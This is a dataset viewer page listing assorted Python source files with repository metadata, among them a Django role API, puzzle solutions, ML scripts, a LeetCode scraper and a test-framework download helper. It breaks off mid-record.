xszheng2020/the_stack_dedup_python_hits_0 · Datasets at Hugging Face

e9782a8f7459b65fce4ad645e6b56ab9d0f6103d

2,144

py

Python

gladier/base.py

globus-labs/gladier_tools

0dc4a23af81a2355a908b9a9026f0e68a527c6dc

[ "Apache-2.0" ]

1

2020-08-25T20:20:18.000Z

gladier/base.py

globus-labs/gladier_tools

0dc4a23af81a2355a908b9a9026f0e68a527c6dc

[ "Apache-2.0" ]

null

gladier/base.py

globus-labs/gladier_tools

0dc4a23af81a2355a908b9a9026f0e68a527c6dc

[ "Apache-2.0" ]

null

class GladierBaseTool(object): """Gladier Defaults defines a common method of tying together flows, funcx-functions, and default inputs for starting a flow.""" flow_definition = None flow_input = dict() required_input = [] alias_exempt = ['funcx_endpoint_compute', 'funcx_endpoint_non_compute'] funcx_endpoints = dict() funcx_functions = [] def __init__(self, alias=None, alias_class=None): self.alias = alias alias_cls = alias_class if alias and not alias_class: raise ValueError( f'{self.__class__.__name__} given alias "{alias}" but not "alias_class". ' 'ex: alias_class=gladier.utils.tool_alias.StateSuffixVariablePrefix' ) if alias_class: self.alias_renamer = alias_cls(alias) def get_required_input(self): if self.alias: required = [] for input_var in self.required_input: if input_var not in self.alias_exempt: required.append(self.alias_renamer.rename_variable(input_var, self)) else: required.append(input_var) return required else: return self.required_input def get_flow_input(self): if not self.alias: return self.flow_input flow_input = dict() for input_var, val in self.flow_input.items(): if input_var not in self.alias_exempt: flow_input[self.alias_renamer.rename_variable(input_var, self)] = val else: flow_input[input_var] = val return flow_input def get_original_inputs(self): return [input_var for input_var in set(self.required_input) | set(self.flow_input.keys()) if input_var not in self.alias_exempt] def rename_state(self, state_name, state_data): name = self.alias_renamer.rename_state(state_name, self) data = self.alias_renamer.rename_input_variables(state_data, self.get_original_inputs(), self) return name, data

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0

null

0

1

0

e97c7053b712437ddd9adb3801c6bf654177920e

2,717

py

Python

PersonManage/role/views.py

ahriknow/ahriknow

817b5670c964e01ffe19ed182ce0a7b42e17ce09

[ "MIT" ]

null

PersonManage/role/views.py

ahriknow/ahriknow

817b5670c964e01ffe19ed182ce0a7b42e17ce09

[ "MIT" ]

3

2021-03-19T01:28:43.000Z

2021-04-08T19:57:19.000Z

PersonManage/role/views.py

ahriknow/ahriknow

817b5670c964e01ffe19ed182ce0a7b42e17ce09

[ "MIT" ]

null

from django.conf import settings from redis import StrictRedis from rest_framework.response import Response from rest_framework.views import APIView from PersonManage.role.models import Role from PersonManage.role.serializer import OneRole, ManyRole from PersonManage.jurisdiction.models import Jurisdiction class RoleView(APIView): def get(self, request, id=None): if id: if role := Role.objects.filter(pk=id).first(): data = OneRole(instance=role, many=False).data return Response({'code': 200, 'msg': 'Query was successful!', 'data': data}) return Response({'code': 400, 'msg': 'Data does not exist!', 'data': None}) else: roles = Role.objects.all() data = ManyRole(instance=roles, many=True).data return Response({'code': 200, 'msg': 'Query was successful!', 'data': data}) def post(self, request): try: role = Role(name=request.data['name'], describe=request.data['describe']) role.save() return Response({'code': 200, 'msg': 'Create successful!', 'data': None}) except Exception as ex: if 'UNIQUE' in str(ex): return Response({'code': 400, 'msg': 'Data duplication!', 'data': None}) return Response({'code': 500, 'msg': str(ex), 'data': None}) def put(self, request, id=None): if role := Role.objects.filter(pk=id).first(): data = request.data if name := data.get('name'): role.name = name if describe := data.get('describe'): role.describe = describe if 'jurisdictions' in data: redis = StrictRedis(host=settings.DATABASES['redis']['HOST'], port=settings.DATABASES['redis']['PORT'], db=settings.DATABASES['redis']['NAME_2'], password=settings.DATABASES['redis']['PASS']) redis.flushdb() role.jurisdictions.clear() for i in data['jurisdictions']: jur = Jurisdiction.objects.filter(pk=i).first() role.jurisdictions.add(jur) role.save() return Response({'code': 200, 'msg': 'Update successful!', 'data': None}) return Response({'code': 400, 'msg': 'Data does not exist!', 'data': None}) def delete(self, request, id=None): if role := Role.objects.filter(pk=id).first(): role.delete() return Response({'code': 200, 'msg': 'Delete successful!'}) return Response({'code': 400, 'msg': 'Data does not exist!', 'data': None})

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null

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null

0

1

0

e98066a2b0d3ed3bbd8dc11131cf9f11efdf134a

3,645

py

Python

advent-of-code-2019/day 12/main.py

gikf/advent-of-code

923b026ce87121b73093554734746c2ecb17c5e2

[ "MIT" ]

null

advent-of-code-2019/day 12/main.py

gikf/advent-of-code

923b026ce87121b73093554734746c2ecb17c5e2

[ "MIT" ]

null

advent-of-code-2019/day 12/main.py

gikf/advent-of-code

923b026ce87121b73093554734746c2ecb17c5e2

[ "MIT" ]

null

"""Advent of Code 2019 Day 12.""" from functools import lru_cache import re def main(file_input='input.txt'): lines = [line.strip() for line in get_file_contents(file_input)] moons = parse_moons(lines) after_steps = simulate_steps(moons, 1000) total_energy = find_total_energy(after_steps) print(f'Total energy after 1000 steps: {total_energy}') cycles = simulate_steps(moons) *two_cycles, last_cycle = cycles.values() steps_to_repeat = int(lcm(lcm(*two_cycles), last_cycle)) print(f'Steps to reach first repeating state: {steps_to_repeat}') def simulate_steps(moons, steps=None): """Simulate number steps of moons. Returns moons after number of steps. If steps is None returns cycles of moons.""" cycles = {} initial_moons = moons step = 0 while not steps or step < steps: step += 1 moons = moon_motion(moons) if steps: continue for axis in range(3): if axis in cycles: continue if is_cycle(moons, initial_moons, axis): cycles[axis] = step if len(cycles) == 3: return cycles return moons def is_cycle(moons, initial, axis): """Check if moons cycled at the axis to the initial values.""" for moon, initial in zip(moons, initial): if (moon['position'][axis] != initial['position'][axis] or moon['velocity'][axis] != initial['velocity'][axis]): return False return True def moon_motion(initial_moons): """Move moons by one step.""" moons = [] for moon in initial_moons: cur_velocity = moon['velocity'] for other_moon in initial_moons: if moon == other_moon: continue velocity_change = join_with_function( gravity_effect, moon['position'], other_moon['position']) cur_velocity = join_with_function( int.__add__, cur_velocity, velocity_change) new_position = join_with_function( int.__add__, moon['position'], cur_velocity) moons.append({ 'position': new_position, 'velocity': cur_velocity, }) return moons def join_with_function(func, values1, values2): """Join values using func function.""" return [ func(value1, value2) for value1, value2 in zip(values1, values2) ] def gravity_effect(position, other_position): """Return effect other_position has on position.""" if position == other_position: return 0 elif position > other_position: return -1 return 1 def find_total_energy(moons): """Get total energy from moons.""" return sum(get_energy(moon['position']) * get_energy(moon['velocity']) for moon in moons) def get_energy(values): """Get energy from values.""" return sum(abs(value) for value in values) def parse_moons(lines): """Parse lines to dictionary with positions and velocity.""" moons = [] regex = r'([-\d]+)' for line in lines: position = [int(num) for num in re.findall(regex, line)] moons.append({ 'position': position, 'velocity': [0, 0, 0] }) return moons @lru_cache() def lcm(a, b): """Least common multiple.""" return abs(a * b) / gcd(a, b) @lru_cache() def gcd(a, b): """Greatest common divisor.""" if b == 0: return a return gcd(b, a % b) def get_file_contents(file): """Read all lines from file.""" with open(file) as f: return f.readlines() if __name__ == '__main__': main()

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0.021739

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null

0

null

0

1

0

e987a8021b1287256296f2282748c6e9f81dfd63

767

py

Python

ntcir15_tools/eval/__init__.py

longpham28/ntcir15_tools

d5fd138a3c90dfd2c5a67ea908101fed5563484d

[ "MIT" ]

null

ntcir15_tools/eval/__init__.py

longpham28/ntcir15_tools

d5fd138a3c90dfd2c5a67ea908101fed5563484d

[ "MIT" ]

null

ntcir15_tools/eval/__init__.py

longpham28/ntcir15_tools

d5fd138a3c90dfd2c5a67ea908101fed5563484d

[ "MIT" ]

null

import numpy as np from pyNTCIREVAL import Labeler from pyNTCIREVAL.metrics import MSnDCG from collections import defaultdict from ntcir15_tools.data import en_query_ids, ja_query_ids, en_labels, ja_labels def get_rel_level(text): if text == "L0": return 0 if text == "L1": return 1 if text == "L2": return 2 return 0 def get_qrels(query_id): lang = query_id.split("-")[1] assert query_id in en_query_ids or query_id in ja_query_ids, "not valid query_id" if lang == "E": labels = en_labels else: labels = ja_labels temp = labels[labels[:, 0] == query_id] temp = temp[:, 1:] result = {} for col_id, text in temp: result[col_id] = get_rel_level(text) return result

24.741935

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0

null

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null

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1

0

e9895372814e45f43f516d5ef779aac132b10fc9

2,145

py

Python

notebooks/Detecting Covid-19 through Transfer Learning/src/test.py

supria68/Data-Science-Projects

423695c130a92db1a188b3d3a13871f0f76f6f5b

[ "MIT" ]

2

2020-09-16T19:37:30.000Z

2021-11-01T17:49:36.000Z

notebooks/Detecting Covid-19 through Transfer Learning/src/test.py

supria68/Data-Science-Projects

423695c130a92db1a188b3d3a13871f0f76f6f5b

[ "MIT" ]

null

notebooks/Detecting Covid-19 through Transfer Learning/src/test.py

supria68/Data-Science-Projects

423695c130a92db1a188b3d3a13871f0f76f6f5b

[ "MIT" ]

1

2021-11-01T17:49:37.000Z

""" filename: test.py author: Supriya Sudarshan version: 19.04.2021 description: Takes in the images and predicts (Covid or Non-Covid/Normal) using the *.h5 models """ import numpy as np import matplotlib.pyplot as plt import os from tensorflow.keras.models import load_model from tensorflow.keras.preprocessing import image from tensorflow.keras.applications.vgg19 import preprocess_input import random def evaluate(img_path, model): """ Given the image path and model, preprocess the input image and get predictions """ img = image.load_img(img_path, target_size=(224,224)) x = image.img_to_array(img) x = np.expand_dims(x, axis=0) image_data = preprocess_input(x) y_pred = model.predict(image_data) probability = y_pred[0] if probability[0] > 0.5: prediction = str('%.2f' % (probability[0]*100) + '% COVID') else: prediction = str('%.2f' % ((1-probability[0])*100) + '% Normal') plt.title(prediction) plt.imshow(img) plt.show() if __name__ == "__main__": # Load appropriate models ct_model = load_model('../saved_models/chest_ct_vggmodel.h5') xray_model = load_model('../saved_models/chest_xray_vggmodel.h5') ultrasound_model = load_model('../saved_models/ultrasound_vggmodel.h5') ##### Predictions CT path = '../images_for_testing/CT' img = random.choice([x for x in os.listdir(path) if os.path.isfile(os.path.join(path, x))]) print('\nPreparing to predict for a CT image: {}'.format(img)) evaluate(path + '/'+ img, ct_model) ##### Predictions Xray path = '../images_for_testing/Xray' img = random.choice([x for x in os.listdir(path) if os.path.isfile(os.path.join(path, x))]) print('\nPreparing to predict for a Xray image: {}'.format(img)) evaluate(path + '/'+ img, xray_model) ##### Predictions Ultrasound path = '../images_for_testing/Ultrasound' img = random.choice([x for x in os.listdir(path) if os.path.isfile(os.path.join(path, x))]) print('\nPreparing to predict for a ultrasound image: {}'.format(img)) evaluate(path + '/'+ img, ultrasound_model)

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0

null

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null

0

1

0

e98cb6485313bf23d0ef3116dfc0e309cd633aad

3,064

py

Python

preprocess/utils.py

federicozaiter/LogClass

62c1c9c61294625bdb3d99dc01b6adc7b735c4ab

[ "MIT" ]

159

2020-02-19T00:19:23.000Z

2022-03-30T08:40:08.000Z

preprocess/utils.py

WeibinMeng/LogClass-1

8edbaf4377374e2aac5e7057987e1d047b83ff2f

[ "MIT" ]

3

2021-06-09T04:30:35.000Z

2022-01-09T23:26:07.000Z

preprocess/utils.py

WeibinMeng/LogClass-1

8edbaf4377374e2aac5e7057987e1d047b83ff2f

[ "MIT" ]

41

2020-02-19T00:19:26.000Z

2022-03-28T08:02:22.000Z

import re import numpy as np from tqdm import tqdm from ..decorators import print_step from multiprocessing import Pool # Compiling for optimization re_sub_1 = re.compile(r"(:(?=\s))|((?<=\s):)") re_sub_2 = re.compile(r"(\d+\.)+\d+") re_sub_3 = re.compile(r"\d{2}:\d{2}:\d{2}") re_sub_4 = re.compile(r"Mar|Apr|Dec|Jan|Feb|Nov|Oct|May|Jun|Jul|Aug|Sep") re_sub_5 = re.compile(r":?(\w+:)+") re_sub_6 = re.compile(r"\.|$|$|\<|\>|\/|\-|\=|\[|\]") p = re.compile(r"[^(A-Za-z)]") def remove_parameters(msg): # Removing parameters with Regex msg = re.sub(re_sub_1, "", msg) msg = re.sub(re_sub_2, "", msg) msg = re.sub(re_sub_3, "", msg) msg = re.sub(re_sub_4, "", msg) msg = re.sub(re_sub_5, "", msg) msg = re.sub(re_sub_6, " ", msg) L = msg.split() # Filtering strings that have non-letter tokens new_msg = [k for k in L if not p.search(k)] msg = " ".join(new_msg) return msg def remove_parameters_slower(msg): # Removing parameters with Regex msg = re.sub(r"(:(?=\s))|((?<=\s):)", "", msg) msg = re.sub(r"(\d+\.)+\d+", "", msg) msg = re.sub(r"\d{2}:\d{2}:\d{2}", "", msg) msg = re.sub(r"Mar|Apr|Dec|Jan|Feb|Nov|Oct|May|Jun|Jul|Aug|Sep", "", msg) msg = re.sub(r":?(\w+:)+", "", msg) msg = re.sub(r"\.|$|$|\<|\>|\/|\-|\=|\[|\]", " ", msg) L = msg.split() p = re.compile("[^(A-Za-z)]") # Filtering strings that have non-letter tokens new_msg = [k for k in L if not p.search(k)] msg = " ".join(new_msg) return msg @print_step def process_logs(input_source, output, process_line=None): with open(output, "w", encoding='latin-1') as f: # counting first to show progress with tqdm with open(input_source, 'r', encoding='latin-1') as IN: line_count = sum(1 for line in IN) with open(input_source, 'r', encoding='latin-1') as IN: with Pool() as pool: results = pool.imap(process_line, IN, chunksize=10000) f.writelines(tqdm(results, total=line_count)) @print_step def load_logs(params, ignore_unlabeled=False): log_path = params['logs'] unlabel_label = params['healthy_label'] x_data = [] y_data = [] label_dict = {} target_names = [] with open(log_path, 'r', encoding='latin-1') as IN: line_count = sum(1 for line in IN) with open(log_path, 'r', encoding='latin-1') as IN: for line in tqdm(IN, total=line_count): L = line.strip().split() label = L[0] if label not in label_dict: if ignore_unlabeled and label == unlabel_label: continue if label == unlabel_label: label_dict[label] = -1.0 elif label not in label_dict: label_dict[label] = len(label_dict) target_names.append(label) x_data.append(" ".join(L[1:])) y_data.append(label_dict[label]) x_data = np.array(x_data) y_data = np.array(y_data) return x_data, y_data, target_names

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0.4284

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3,064

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null

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null

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1

0

e991e9f5f0c1bdfb1e7229e0942eed1c870966c6

1,478

py

Python

gfg/trees/sorted_ll_to_bst.py

rrwt/daily-coding-challenge

b16fc365fd142ebab429e605cb146c8bb0bc97a2

[ "MIT" ]

1

2019-04-18T03:29:02.000Z

gfg/trees/sorted_ll_to_bst.py

rrwt/daily-coding-challenge

b16fc365fd142ebab429e605cb146c8bb0bc97a2

[ "MIT" ]

null

gfg/trees/sorted_ll_to_bst.py

rrwt/daily-coding-challenge

b16fc365fd142ebab429e605cb146c8bb0bc97a2

[ "MIT" ]

null

""" Given a Singly Linked List which has data members sorted in ascending order. Construct a Balanced Binary Search Tree which has same data members as the given Linked List. """ from typing import Optional from binary_tree_node import Node # type: ignore from tree_traversal import inorder # type: ignore class LLNode: def __init__(self, data: int): self.data = data self.next: Optional[LLNode] = None def ll_size(head: Optional[LLNode]) -> int: temp = head count = 0 while temp: temp = temp.next count += 1 return count def sorted_ll_to_bst(head: Optional[LLNode]) -> Optional[Node]: def construct(length: int) -> Optional[Node]: nonlocal head if head is None or length == 0: return None left = construct(length // 2) root = Node(head.data) head = head.next root.left = left root.right = construct(length - length // 2 - 1) return root return construct(ll_size(head)) if __name__ == "__main__": head = LLNode(1) head.next = LLNode(2) head.next.next = LLNode(3) inorder(sorted_ll_to_bst(head)) print() head = LLNode(1) head.next = LLNode(2) head.next.next = LLNode(3) head.next.next.next = LLNode(4) head.next.next.next.next = LLNode(5) head.next.next.next.next.next = LLNode(6) head.next.next.next.next.next.next = LLNode(7) inorder(sorted_ll_to_bst(head)) print()

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1,478

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false

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null

0

null

0

1

0

e9920d3efc1f0f760192d2dad03a56edd3268c51

556

py

Python

uvcoverage.py

haricash/bayesian-ionized-bubbles

c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6

[ "MIT" ]

null

uvcoverage.py

haricash/bayesian-ionized-bubbles

c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6

[ "MIT" ]

null

uvcoverage.py

haricash/bayesian-ionized-bubbles

c0de5d8ff66f797c72f119b1bc9b11ff8cc63ee6

[ "MIT" ]

null

import numpy as np import matplotlib.pyplot as plt from modules.conversions import enu2uvw data = np.load("uv-array.npy") e = data[0,:].transpose() n = data[1,:].transpose() uvarray = [] for i in range(120): u,v = enu2uvw( wavelength=1.690, hour_angle=i/30, declination=0, ref_declination=-30, ref_hour_angle=0, e=e, n=n) # np.save("uv-coverage.npy",u) uvarray.append((u,v)) np.save("uv-coverage.npy",uvarray)

23.166667

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null

0

null

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0

e99213e148fd6d67da5c28d0d36014f1bdd56a29

6,540

py

Python

main.py

Bishalsarang/Leetcode-Questions

9d0c938778343c073b631884cc38411ea0ac7cd3

[ "MIT" ]

6

2021-09-17T12:26:59.000Z

2022-03-11T00:37:35.000Z

main.py

Bishalsarang/Leetcode-Questions

9d0c938778343c073b631884cc38411ea0ac7cd3

[ "MIT" ]

null

main.py

Bishalsarang/Leetcode-Questions

9d0c938778343c073b631884cc38411ea0ac7cd3

[ "MIT" ]

null

# Author: Bishal Sarang import json import os import pickle import time import bs4 import colorama import requests from colorama import Back, Fore from ebooklib import epub from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.by import By from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait from utils import * import epub_writer # Initialize Colorama colorama.init(autoreset=True) options = Options() options.headless = True # Disable Warning, Error and Info logs # Show only fatal errors options.add_argument("--log-level=3") driver = webdriver.Chrome(options=options) # Get upto which problem it is already scraped from track.conf file completed_upto = read_tracker("track.conf") # Load chapters list that stores chapter info # Store chapter info with open('chapters.pickle', 'rb') as f: chapters = pickle.load(f) def download(problem_num, url, title, solution_slug): print( Fore.BLACK + Back.CYAN + f"Fetching problem num " + Back.YELLOW + f" {problem_num} " + Back.CYAN + " with url " + Back.YELLOW + f" {url} ") n = len(title) try: driver.get(url) # Wait 20 secs or until div with id initial-loading disappears element = WebDriverWait(driver, 20).until( EC.invisibility_of_element_located((By.ID, "initial-loading")) ) # Get current tab page source html = driver.page_source soup = bs4.BeautifulSoup(html, "html.parser") # Construct HTML title_decorator = '*' * n problem_title_html = title_decorator + f'<div id="title">{title}</div>' + '\n' + title_decorator problem_html = problem_title_html + str( soup.find("div", {"class": "content__u3I1 question-content__JfgR"})) + '<br><br><hr><br>' # Append Contents to a HTML file with open("out.html", "ab") as f: f.write(problem_html.encode(encoding="utf-8")) # create and append chapters to construct an epub c = epub.EpubHtml(title=title, file_name=f'chap_{problem_num}.xhtml', lang='hr') c.content = problem_html chapters.append(c) # Write List of chapters to pickle file dump_chapters_to_file(chapters) # Update upto which the problem is downloaded update_tracker('track.conf', problem_num) print( Fore.BLACK + Back.GREEN + f"Writing problem num " + Back.YELLOW + f" {problem_num} " + Back.GREEN + " with url " + Back.YELLOW + f" {url} ") print(Fore.BLACK + Back.GREEN + " successfull ") # print(f"Writing problem num {problem_num} with url {url} successfull") except Exception as e: print(Back.RED + f" Failed Writing!! {e} ") driver.quit() def main(): MAXIMUM_NUMBER_OF_PROBLEMS_PER_INSTANCE = int(os.environ.get("MAXIMUM_NUMBER_OF_PROBLEMS", 400)) SLEEP_TIME_PER_PROBLEM_IN_SECOND = int(os.environ.get("SLEEP_TIME_PER_PROBLEM_IN_SECOND", 5)) # Leetcode API URL to get json of problems on algorithms categories ALGORITHMS_ENDPOINT_URL = "https://leetcode.com/api/problems/algorithms/" # Problem URL is of format ALGORITHMS_BASE_URL + question__title_slug # If question__title_slug = "two-sum" then URL is https://leetcode.com/problems/two-sum ALGORITHMS_BASE_URL = "https://leetcode.com/problems/" # Load JSON from API algorithms_problems_json = requests.get(ALGORITHMS_ENDPOINT_URL).content algorithms_problems_json = json.loads(algorithms_problems_json) # List to store question_title_slug links = [] for child in algorithms_problems_json["stat_status_pairs"]: # Only process free problems if not child["paid_only"]: question__title_slug = child["stat"]["question__title_slug"] question__article__slug = child["stat"]["question__article__slug"] question__title = child["stat"]["question__title"] frontend_question_id = child["stat"]["frontend_question_id"] difficulty = child["difficulty"]["level"] links.append( (question__title_slug, difficulty, frontend_question_id, question__title, question__article__slug)) has_new_problems = (completed_upto != len(links) - 1) if has_new_problems: styles_str = "<style>pre{white-space:pre-wrap;background:#f7f9fa;padding:10px 15px;color:#263238;line-height:1.6;font-size:13px;border-radius:3px margin-top: 0;margin-bottom:1em;overflow:auto}b,strong{font-weight:bolder}#title{font-size:16px;color:#212121;font-weight:600;margin-bottom:10px}hr{height:10px;border:0;box-shadow:0 10px 10px -10px #8c8b8b inset}</style>" with open("out.html", "ab") as f: f.write(styles_str.encode(encoding="utf-8")) # Sort by difficulty follwed by problem id in ascending order links = sorted(links, key=lambda x: (x[1], x[2])) downloaded_now = 0 try: for i in range(completed_upto + 1, len(links)): question__title_slug, _, frontend_question_id, question__title, question__article__slug = links[i] url = ALGORITHMS_BASE_URL + question__title_slug title = f"{frontend_question_id}. {question__title}" # Download each file as html and write chapter to chapters.pickle download(i, url, title, question__article__slug) downloaded_now += 1 if downloaded_now == MAXIMUM_NUMBER_OF_PROBLEMS_PER_INSTANCE: break # Sleep for 5 secs for each problem and 2 mins after every 30 problems if i % 30 == 0: print(f"Sleeping 120 secs\n") time.sleep(120) else: print(f"Sleeping {SLEEP_TIME_PER_PROBLEM_IN_SECOND} secs\n") time.sleep(SLEEP_TIME_PER_PROBLEM_IN_SECOND) finally: # Close the browser after download driver.quit() try: if has_new_problems: epub_writer.write("Leetcode Questions.epub", "Leetcode Questions", "Anonymous", chapters) print(Back.GREEN + "All operations successful") else: print(Back.GREEN + "No new problems found. Exiting") except Exception as e: print(Back.RED + f"Error making epub {e}") if __name__ == "__main__": main()

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0.087379

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null

0

null

0

1

0

e992f77a4ff4f3363d1bcb7a821282c7065578b8

4,985

py

Python

model/magenta_app.py

DesmondYuan/DeepMovement

b4f347f139d52c345b592bc712260fa579b6c9a8

[ "MIT" ]

null

model/magenta_app.py

DesmondYuan/DeepMovement

b4f347f139d52c345b592bc712260fa579b6c9a8

[ "MIT" ]

null

model/magenta_app.py

DesmondYuan/DeepMovement

b4f347f139d52c345b592bc712260fa579b6c9a8

[ "MIT" ]

1

2020-12-31T14:44:38.000Z

# Adapted from Magenta console commands import os from magenta.models.arbitrary_image_stylization import arbitrary_image_stylization_build_model as build_model from magenta.models.image_stylization import image_utils import numpy as np import tensorflow.compat.v1 as tf import tf_slim as slim class Magenta_Model(): def __init__(self, checkpoint, content_square_crop=False, style_square_crop=False, style_image_size=256, content_image_size=256): tf.disable_v2_behavior() tf.Graph().as_default() sess = tf.Session() # Defines place holder for the style image. self.style_img_ph = tf.placeholder(tf.float32, shape=[None, None, 3]) if style_square_crop: style_img_preprocessed = image_utils.center_crop_resize_image( style_img_ph, style_image_size) else: style_img_preprocessed = image_utils.resize_image(self.style_img_ph, style_image_size) # Defines place holder for the content image. content_img_ph = tf.placeholder(tf.float32, shape=[None, None, 3]) if content_square_crop: content_img_preprocessed = image_utils.center_crop_resize_image( content_img_ph, content_image_size) else: content_img_preprocessed = image_utils.resize_image( content_img_ph, content_image_size) # Defines the model. stylized_images, _, _, bottleneck_feat = build_model.build_model( content_img_preprocessed, style_img_preprocessed, trainable=False, is_training=False, inception_end_point='Mixed_6e', style_prediction_bottleneck=100, adds_losses=False) checkpoint = tf.train.latest_checkpoint(checkpoint) init_fn = slim.assign_from_checkpoint_fn(checkpoint, slim.get_variables_to_restore()) sess.run([tf.local_variables_initializer()]) init_fn(sess) self.sess = sess self.stylized_images = stylized_images self.content_img_preprocessed = content_img_preprocessed self.style_img_preprocessed = style_img_preprocessed self.content_img_ph = content_img_ph self.bottleneck_feat = bottleneck_feat def process_data(self, style_images_paths, content_images_paths): # Gets the list of the input images. style_img_list = tf.gfile.Glob(style_images_paths) content_img_list = tf.gfile.Glob(content_images_paths) for content_i, content_img_path in enumerate(content_img_list): content_img_np = image_utils.load_np_image_uint8(content_img_path)[:, :, :3] content_img_name = os.path.basename(content_img_path)[:-4] # Saves preprocessed content image. inp_img_croped_resized_np = self.sess.run( self.content_img_preprocessed, feed_dict={ self.content_img_ph: content_img_np}) # Computes bottleneck features of the style prediction network for the # identity transform. identity_params = self.sess.run( self.bottleneck_feat, feed_dict={self.style_img_ph: content_img_np}) for style_i, style_img_path in enumerate(style_img_list): style_img_name = os.path.basename(style_img_path)[:-4] style_image_np = image_utils.load_np_image_uint8(style_img_path)[:, :, :3] self.content_img_np = content_img_np self.style_image_np = style_image_np self.identity_params = identity_params self.style_img_name = style_img_name self.content_img_name = content_img_name def run(self, output_dir, interpolation_weights): style_params = self.sess.run( self.bottleneck_feat, feed_dict={self.style_img_ph: self.style_image_np}) for interp_i, wi in enumerate(interpolation_weights): stylized_image_res = self.sess.run( self.stylized_images, feed_dict={ self.bottleneck_feat: self.identity_params * (1 - wi) + style_params * wi, self.content_img_ph: self.content_img_np }) # Saves stylized image. image_utils.save_np_image( stylized_image_res, os.path.join(output_dir, '%s_stylized_%s_%d.jpg' % \ (self.content_img_name, self.style_img_name, interp_i))) magenta_model = Magenta_Model("/mnt/disks/ssd_disk/final/models/", content_square_crop=False, style_square_crop=False, style_image_size=256, content_image_size=256) magenta_model.process_data(style_images_paths="/mnt/disks/ssd_disk/final/data/content_images/*", content_images_paths="/mnt/disks/ssd_disk/final/data/content_images/*") magenta_model.run("/mnt/disks/ssd_disk/final/tmp/", [0., 1.])

39.88

109

0.664995

626

4,985

4.886581

0.215655

0.091533

0.04119

0.026152

0.366133

0.270677

0.218045

0.199738

0.147761

0

0.008931

0.258776

4,985

124

110

40.201613

0.818945

0.064594

0

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0.039974

0.038255

0

1

0.034884

false

0

0.069767

0

0.116279

0

null

0

null

0

1

0

e99385b476437e2b2258af182121e6b707636676

4,781

py

Python

lisa/base_tools/wget.py

anirudhrb/lisa

fe009802577c81e45ca2ff5a34d353878caa725d

[ "MIT" ]

48

2018-05-19T17:46:34.000Z

2020-09-28T21:09:06.000Z

lisa/base_tools/wget.py

anirudhrb/lisa

fe009802577c81e45ca2ff5a34d353878caa725d

[ "MIT" ]

1,261

2018-05-17T04:32:22.000Z

2020-11-23T17:29:13.000Z

lisa/base_tools/wget.py

anirudhrb/lisa

fe009802577c81e45ca2ff5a34d353878caa725d

[ "MIT" ]

133

2018-05-15T23:12:14.000Z

2020-11-13T10:37:49.000Z

import re from pathlib import PurePosixPath from typing import TYPE_CHECKING, Optional, Type from lisa.executable import Tool from lisa.tools.ls import Ls from lisa.tools.mkdir import Mkdir from lisa.tools.powershell import PowerShell from lisa.tools.rm import Rm from lisa.util import LisaException, is_valid_url if TYPE_CHECKING: from lisa.operating_system import Posix class Wget(Tool): __pattern_path = re.compile( r"([\w\W]*?)(-|File) (‘|')(?P<path>.+?)(’|') (saved|already there)" ) @property def command(self) -> str: return "wget" @property def can_install(self) -> bool: return True def install(self) -> bool: posix_os: Posix = self.node.os # type: ignore posix_os.install_packages([self]) return self._check_exists() def get( self, url: str, file_path: str = "", filename: str = "", overwrite: bool = True, executable: bool = False, sudo: bool = False, force_run: bool = False, timeout: int = 600, ) -> str: is_valid_url(url) # combine download file path # TODO: support current lisa folder in pathlib. # So that here can use the corresponding path format. if file_path: # create folder when it doesn't exist self.node.shell.mkdir(PurePosixPath(file_path), exist_ok=True) download_path = f"{file_path}/{filename}" else: download_path = f"{self.node.working_path}/{filename}" # remove existing file and dir to download again. download_pure_path = self.node.get_pure_path(download_path) if overwrite and self.node.shell.exists(download_pure_path): self.node.shell.remove(download_pure_path, recursive=True) command = f"'{url}' --no-check-certificate" if filename: command = f"{command} -O {download_path}" else: command = f"{command} -P {download_path}" command_result = self.run( command, no_error_log=True, shell=True, sudo=sudo, force_run=force_run, timeout=timeout, ) matched_result = self.__pattern_path.match(command_result.stdout) if matched_result: download_file_path = matched_result.group("path") else: raise LisaException( f"cannot find file path in stdout of '{command}', it may be caused " " due to failed download or pattern mismatch." f" stdout: {command_result.stdout}" ) actual_file_path = self.node.execute( f"ls {download_file_path}", shell=True, sudo=sudo ) if actual_file_path.exit_code != 0: raise LisaException(f"File {actual_file_path} doesn't exist.") if executable: self.node.execute(f"chmod +x {actual_file_path}", sudo=sudo) return actual_file_path.stdout def verify_internet_access(self) -> bool: try: result = self.get("https://www.azure.com", force_run=True) if result: return True except Exception as e: self._log.debug( f"Internet is not accessible, exception occurred with wget {e}" ) return False @classmethod def _windows_tool(cls) -> Optional[Type[Tool]]: return WindowsWget class WindowsWget(Wget): @property def command(self) -> str: return "" def _check_exists(self) -> bool: return True def get( self, url: str, file_path: str = "", filename: str = "", overwrite: bool = True, executable: bool = False, sudo: bool = False, force_run: bool = False, timeout: int = 600, ) -> str: ls = self.node.tools[Ls] fullpath = f"{file_path}\\{filename}" # return if file exists and not overwrite if ls.path_exists(file_path, sudo=sudo) and not overwrite: self._log.debug( f"File {fullpath} already exists and rewrite is set to False" ) # create directory if it doesn't exist self.node.tools[Mkdir].create_directory(file_path, sudo=sudo) # TODO: add support for executables # remove existing file if present and download self.node.tools[Rm].remove_file(fullpath, sudo=sudo) self.node.tools[PowerShell].run_cmdlet( f"$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri '{url}'" f" -OutFile '{fullpath}'", sudo=sudo, force_run=force_run, timeout=timeout, ) return fullpath

31.453947

87

0.590253

570

4,781

4.803509

0.282456

0.049671

0.025566

0.017531

0.185172

0.153397

0.115413

0.087655

0

0.002126

0.311232

4,781

151

88

31.662252

0.829335

0.078854

0

0.338843

0

0.159344

0.03369

0

0.006623

0

1

0.07438

false

0

0.082645

0.041322

0.264463

0

null

0

null

0

1

0

e995e4148b59ca5a7b4ba1e5e2c168dedb8fd4e8

1,787

py

Python

Datacamp Assignments/Data Engineer Track/2. Streamlined Data Ingestion with pandas/35_handle_deeply_nested_data.py

Ali-Parandeh/Data_Science_Playground

c529e9b3692381572de259e7c93938d6611d83da

[ "MIT" ]

null

Datacamp Assignments/Data Engineer Track/2. Streamlined Data Ingestion with pandas/35_handle_deeply_nested_data.py

Ali-Parandeh/Data_Science_Playground

c529e9b3692381572de259e7c93938d6611d83da

[ "MIT" ]

null

